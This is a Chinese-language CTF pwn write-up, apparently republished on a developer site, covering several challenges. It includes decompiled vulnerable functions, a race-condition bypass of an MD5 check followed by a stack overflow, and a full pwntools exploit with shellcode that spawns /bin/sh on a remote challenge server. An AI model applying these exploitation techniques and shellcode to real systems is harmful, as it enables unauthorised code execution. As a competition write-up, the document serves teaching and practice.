内容简介:跟学校的队伍参加了又一次这道题没什么好说的(比签到题解出的人还多),(double) 0.1 在内存中的存储形式,可以参考
跟学校的队伍参加了又一次 ?网杯
,记录一下 pwn 的 writeup。
gettingstart
这道题没什么好说的(比签到题解出的人还多),(double) 0.1 在内存中的存储形式,可以参考 stackexchange
shoppingcart
这道题目真是坑了很久,看到 strtoul
就没想通过负数数组越界了,后来发现可以负数越界时已经来不及写 exp 了。
huwang
听 charlie 师傅说这道题目抄了他给国赛出的题。。。
堆的功能没用,完全是硬加上去的。主要的逻辑在 666 这个选项里,功能是从 /dev/urandom
中读取 0xC 个字符,然后经过 n 轮 md5 运算,最后和用户的输入进行比较,如果比较成功则进入另一个有明显漏洞的函数,可以 leak 出 canary,stack 等信息,最后可以栈溢出,比较不成功则程序退出。
void __fastcall secret_in_secret(char *rdi0) { char v1; // ST1B_1 int s_len; // [rsp+1Ch] [rbp-214h] char occupation[256]; // [rsp+20h] [rbp-210h] char s[264]; // [rsp+120h] [rbp-110h] unsigned __int64 v5; // [rsp+228h] [rbp-8h] v5 = __readfsqword(0x28u); printf("Congratulations, %s guessed my secret!\n", rdi0);// leak puts("And I want to know someting about you, and introduce you to other people who guess the secret!"); puts("What`s your occupation?"); get_str(occupation, 255LL); s_len = snprintf( s, 255uLL, "I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome......" "....................................................................................................", rdi0, occupation); puts("Here is your introduce"); puts(s); puts("Do you want to edit you introduce by yourself[Y/N]"); v1 = getchar(); getchar(); if ( v1 == 'Y' ) read(0, s, s_len - 1); // overflow printf("The final presentation is as follows:%s\n", s); }
其中 md5 运算的轮数是用户决定的
puts("Input how many rounds do you want to encrypt the secret:"); how_many = get_int(); if ( how_many > 10 ) { puts("What? Why do you need to encrypt so many times?"); exit(-1); } if ( !how_many ) { printf("At least encrypt one time", s_secret); exit(-1); } HIDWORD(v2) = open("/tmp/secret", 01001); LODWORD(v2) = 0; while ( (unsigned int)v2 < how_many ) // negative { MD5((__int64)s_secret, 16LL, (__int64)s_secret); LODWORD(v2) = v2 + 1; }
只判断了大于 10 和不为 0 的情况,但我们可以输入负数,当输入负数时,在 signed
和 unsigned
比较时 -1 会转化为一个很大的数,while 循环就会陷入一段很长时间的运算。
这时如果再开一个 io 连接远程进入到这个流程中,到 MD5 之前
HIDWORD(v2) = open("/tmp/secret", 01001); LODWORD(v2) = 0; while ( (unsigned int)v2 < how_many ) // negative { MD5((__int64)s_secret, 16LL, (__int64)s_secret); LODWORD(v2) = v2 + 1; }
这里 open
是以 O_WRONLY | O_TRUNC
的 flags 打开的,其中 O_TRUNC
的含义是 当文件存在且被另一个程序以可写的模式打开时,把文件的长度截短为 0
,因此此时第二个 io 将得到一个空的 /tmp/secret
,因此只要我们输入 MD5('\0' * 16)
即可通过后边的 memcpy 验证,进入漏洞函数。
进入漏洞函数后,方法就很多了,通过 stack-pivot 进行 orw 或者 leak libc 进而 get shell 都可以,我选择的是使用 open, read, puts
的方法。运气比较好,rdx 满足条件。
six
总觉得这道题目以前在哪里见过,忘了是哪次比赛的了。
首先程序有两次 mmap,经过分析,两处空间分别用于保存 shellcode 和模拟栈,权限都是 rwx 。
void mmap_rwx() { int fd; // ST04_4 char buf[12]; // [rsp+8h] [rbp-18h] unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); fd = open("/dev/urandom", 0); read(fd, buf, 6uLL); read(fd, &buf[8], 6uLL); dest = mmap((void *)(*(_QWORD *)&buf[8] & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL); stack = (__int64)mmap((void *)(*(_QWORD *)buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 1280; }
程序读取 6 个字节添加到一段 shellcode 之后,6 个字节要满足
- 3 个奇数 opcode,3个偶数 opcode
- 各不相同
程序给的 shellcode 为
.data:0000000000202020 ; char sc[1] .data:0000000000202020 sc: ; DATA XREF: main+71↑o .data:0000000000202020 ; main+87↑o ... .data:0000000000202020 mov rsp, rdi .data:0000000000202023 xor rbp, rbp .data:0000000000202026 xor rax, rax .data:0000000000202029 xor rbx, rbx .data:000000000020202C xor rcx, rcx .data:000000000020202F xor rdx, rdx .data:0000000000202032 xor rdi, rdi .data:0000000000202035 xor rsi, rsi .data:0000000000202038 xor r8, r8 .data:000000000020203B xor r9, r9 .data:000000000020203E xor r10, r10 .data:0000000000202041 xor r11, r11 .data:0000000000202044 xor r12, r12 .data:0000000000202047 xor r13, r13 .data:000000000020204A xor r14, r14 .data:000000000020204D xor r15, r15
清空了除 rsp
和 rip
之外的所有通用寄存器,并且可以看出 rsp 被设置为了我们之前 mmap 的空间用来模拟栈
.text:0000000000000C87 mov rdx, cs:stack .text:0000000000000C8E mov rax, [rbp+var_28] .text:0000000000000C92 mov rdi, rdx .text:0000000000000C95 call rax
这样就可以通过 0 号系统调用,即 sys_read
来读取一部分内容了,很自然的想法是读到栈顶(
read = asm(''' push rsp pop rsi mov edx, esi syscall ''') assert len(read) < 7 io.sendafter("shellcode:\n", read)
这段 shellcode 是符合要求的。
当两次 mmap 的距离比较近时,就可以通过第二次 read 来覆盖 shellcode,进而控制 rip。能控制 rip 的话,直接控制 rip 到我们写的 execve("/bin/sh", 0, 0)
即可。
我的 exp 如下:
HWB2018_six [master●●] bat solve.py ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: solve.py ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ #!/usr/bin/env python 2 │ # -*- coding: utf-8 -*- 3 │ 4 │ from pwn import * 5 │ import sys 6 │ context.binary = "./six" 7 │ context.log_level = "debug" 8 │ context.terminal = ["deepin-terminal", "-x", "sh", "-c"] 9 │ 10 │ if sys.argv[1] == "l": 11 │ # io = process("./six") 12 │ io = gdb.debug("./six", gdbscript = ''' 13 │ bpie 0xC95 14 │ c 15 │ si 16 │ si 17 │ si 18 │ si 19 │ si 20 │ si 21 │ si 22 │ si 23 │ si 24 │ si 25 │ si 26 │ si 27 │ si 28 │ si 29 │ si 30 │ si 31 │ si 32 │ si 33 │ si 34 │ si 35 │ ''') 36 + │ 37 │ else: 38 │ io = remote("49.4.79.0", 31166) 39 │ 40 │ if __name__ == "__main__": 41 │ read = asm(''' 42 │ push rsp 43 │ pop rsi 44 │ mov edx, esi 45 │ syscall 46 │ ''') 47 │ assert len(read) < 7 48 │ io.sendafter("shellcode:\n", read) 49 │ 50 │ shell = asm(''' 51 │ mov eax, 0x3b 52 │ mov rdi, rsi 53 │ xor rdx, rdx 54 │ xor rsi, rsi 55 │ syscall 56 │ ''') 57 │ 58 │ payload = "/bin/sh\0".ljust(0xb36, '\0') + shell 59 │ # pause() 60 │ io.sendline(payload) 61 │ 62 │ io.interactive() 63 │ # $ while true; do python exp.py r; done ───────┴─────────────────────────────────────────────────────────────────────────────────
成功率不是 100% 但也相当可观了。
calendar
题目已经提示了 house of roman
,伤心的是,我的 house of roman 远程从来没有成功过。。。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
改变未来的九大算法
[美] 约翰.麦考密克 / 管策 / 中信出版社 / 2013-6 / 39.00元
Google得出的搜索结果是如何产生的? 百度为何会陷入“搜索门”,又是什么机制使然? 身处在大数据时代的我们,究竟该如何应对变化莫测的世界? …… 没有满篇的专业术语,第一次让我们通过简单明了的语言、生动的例证了解支撑计算机王国的灵魂支柱——9大算法,包括人工智能、数据压缩,以及Google著名的PageRank等。 本书精彩地介绍了搜索引擎、PageRank、公开......一起来看看 《改变未来的九大算法》 这本书的介绍吧!